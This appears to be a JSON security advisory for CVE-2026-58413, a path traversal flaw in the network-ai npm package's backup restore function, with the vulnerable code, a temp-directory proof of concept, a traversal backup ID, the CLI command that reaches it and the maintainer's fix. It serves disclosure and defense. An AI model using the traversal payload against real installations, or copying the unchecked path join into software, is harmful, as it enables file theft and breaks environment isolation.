{"id":"CVE-2026-58413","aliases":["GHSA-48x2-6pr9-2jjf"],"url":"https://o3.security/vulnerability/CVE-2026-58413","summary":"EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data","details":"### Summary\n`EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/<env>/.backups`.\n\nA caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. Confirmed in Network-AI 5.12.1.\n\n### Details\n`restore()` builds `backupPath` directly from caller-controlled `backupId`:\n\n```ts\nrestore(env: EnvName, backupId: string): RestoreResult {\n  const envDir = this.getDataDir(env);\n  const backupsDir = join(envDir, '.backups');\n  const backupPath = join(backupsDir, backupId);\n\n  if (!existsSync(backupPath)) {\n    throw new Error(`Backup '${backupId}' not found for environment '${env}'`);\n  }\n\n  this.backup(env);\n\n  const files = this._collectBackupFiles(backupPath);\n  let restored = 0;\n  for (const rel of files) {\n    if (rel === '_manifest.json') continue;\n    const src = join(backupPath, rel);\n    const dst = join(envDir, rel);\n    try {\n      mkdirSync(join(envDir, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });\n      copyFileSync(src, dst);\n      restored++;\n    } catch { /* skip */ }\n  }\n\n  return { backupId, env, filesRestored: restored };\n}\n```\n\nThere is no resolved containment check that ensures `backupPath` remains under `backupsDir`.\n\nDefault CLI reachability exists through `network-ai env backup restore --env <env> --backup <id>`.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:474-499` — vulnerable restore path construction and copy.\n- `bin/cli.ts:441-458` — default CLI exposes restore with caller-controlled `--backup`.\n\n### PoC\nThis PoC uses only temporary directories and restores `trust_levels.json` from an external directory into `data/dev`:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - <<'TS'\nconst { EnvironmentManager } = require('./lib/env-manager');\nconst fs = require('fs');\nconst path = require('path');\nconst base = process.env.TMPBASE;\nconst data = path.join(base, 'data');\nconst source = path.join(base, 'outside', 'secret-src');\n\nfs.mkdirSync(source, { recursive: true });\nfs.writeFileSync(path.join(source, 'trust_levels.json'), '{\"leaked\":true}');\n\nconst mgr = new EnvironmentManager(data, {\n  chain: ['dev', 'st'],\n  gates: { dev: 'auto', st: 'auto' },\n});\n\nmgr.init('dev');\nconst backupId = path.relative(path.join(data, 'dev', '.backups'), source);\nconst result = mgr.restore('dev', backupId);\nconst restored = fs.readFileSync(path.join(data, 'dev', 'trust_levels.json'), 'utf8');\n\nconsole.log(JSON.stringify({ backupId, filesRestored: result.filesRestored, restored }, null, 2));\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result includes `backupId: \"../../../outside/secret-src\"`, `filesRestored: 1`, and restored content `{\"leaked\":true}`.\n\n### Impact\nA caller that can invoke backup restore can copy arbitrary readable directories into `data/<env>`, subject to process filesystem permissions. This can stage sensitive files into environment data/backup locations, overwrite environment configuration files if matching filenames exist, and break environment isolation. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`restore()` now validates `backupId` against `/^[\\w\\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.","published":"2026-07-20T16:26:07.531Z","modified":"2026-10-21T02:58:47.118995444Z","cvss":{"score":6.1,"severity":"MEDIUM","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"},"epss":{"score":0.00203,"percentile":0.10433,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"network-ai","fixedVersion":"5.12.2"}],"fix":{"url":"https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3","label":"Jovancoding/Network-AI@a59c13a"},"references":[{"type":"WEB","url":"https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/58xxx/CVE-2026-58413.json"},{"type":"ADVISORY","url":"https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-48x2-6pr9-2jjf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58413"},{"type":"FIX","url":"https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"},{"type":"PACKAGE","url":"https://github.com/Jovancoding/Network-AI"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:58:47.118995444Z"}}